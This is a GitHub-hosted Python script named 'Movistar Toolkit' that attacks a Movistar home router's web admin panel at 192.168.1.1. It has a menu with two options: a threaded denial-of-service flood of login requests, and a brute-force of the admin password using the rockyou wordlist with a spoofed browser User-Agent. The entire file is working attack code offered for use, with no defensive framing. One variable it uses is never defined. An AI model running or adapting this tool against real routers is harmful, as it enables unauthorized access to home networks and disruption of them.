-
Notifications
You must be signed in to change notification settings - Fork 0
/
movistar_toolkit.py
122 lines (98 loc) · 3.35 KB
/
movistar_toolkit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from colorama import init, Fore, Style, Back
import requests
import os
import threading
from time import sleep
import string
import random
import re
session = requests.Session()
init(convert=True)
init(autoreset=True)
bright = Style.BRIGHT
dim = Style.DIM
red = Fore.RED + bright + dim
green = Fore.GREEN + bright + dim
cyan = Fore.CYAN + bright + dim
yellow = Fore.LIGHTYELLOW_EX + bright + dim
blue = Fore.BLUE + bright + dim
magenta = Fore.MAGENTA + bright + dim
# Config
ROUTER_URL = "http://192.168.1.1/"
LOGIN_URL = "te_acceso_router.cgi"
CHECK_URL = "te_acceso_router.html"
THREAD_COUNT = 2
WORDLIST_FILE = "rockyou.txt"
WORDLIST_DELAY = 0.8
fakeHeader = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
parametrosLogin = {
"Upgrade-Insecure-Requests": "1",
"loginPassword": ""
}
session = requests.Session()
def cls():
os.system('cls' if os.name == 'nt' else 'clear')
def brute_start(passw):
req = session.get(ROUTER_URL, headers=fakeHeader)
iniReq = session.post(ROUTER_URL+LOGIN_URL, headers=fakeHeader)
errorResponse = iniReq.text
errorStatus = iniReq.status_code
errorCookie = session.cookies.get_dict()
parametrosLogin["loginPassword"] = passw
print("Generated cookie: {}".format(errorCookie))
print("Current password: {}".format(passw))
logReq = session.post(ROUTER_URL+LOGIN_URL, headers=fakeHeader, params=parametrosLogin)
if logReq.text != errorResponse:
print(green +"Different response:")
print(logReq.text)
input()
if errorStatus != logReq.status_code:
print(green + "Different status code: {}".format(logReq.status_code))
input()
checkReq = session.get(ROUTER_URL+CHECK_URL, headers=fakeHeader)
m = re.search('var bruteTime = \'(.+?)\';', checkReq.text)
if m:
found = m.group(1)
print("Bruteforce timer: {}".format(found))
def dos_start(count):
try:
iniReq = session.get(ROUTER_URL, headers=fakeHeader)
logReq = session.post(ROUTER_URL+LOGIN_URL, headers=fakeHeader, params=parametrosLogin)
checkReq = session.get(ROUTER_URL+CHECK_URL, headers=fakeHeader)
print("{}{}{} solicitudes enviadas al router".format(cyan, count, white))
except ConnectionResetError:
print("Se ha perdido la conexion con el router")
except Exception as e:
print("Error no especificado")
print(e)
def brute_main():
f = open(WORDLIST_FILE, "r", encoding="utf8", errors="ignore")
content = f.read()
content_list = content.splitlines()
f.close()
for passw in content_list:
thread = threading.Thread(target=brute_start, args=[passw])
thread.start()
sleep(WORDLIST_DELAY)
def dos_main():
count = 3
while True:
thread = threading.Thread(target=dos_start, args=[count])
thread.start()
count += 3
def main():
cls()
print("{}\n\nMovistar Toolkit\n\n".format(Back.BLUE))
print("{}1.- DOS red local".format(cyan))
print("{}2.- Ataque wordlist del panel wifi".format(cyan))
opcion = input("\n> Seleciona una opcion (1-2): ")
print("\n")
if opcion == "1":
dos_main()
elif opcion == "2":
brute_main()
else:
print(red + "Opcion invalida. Debes introducir un numero (1-2)")
input()
main()
main()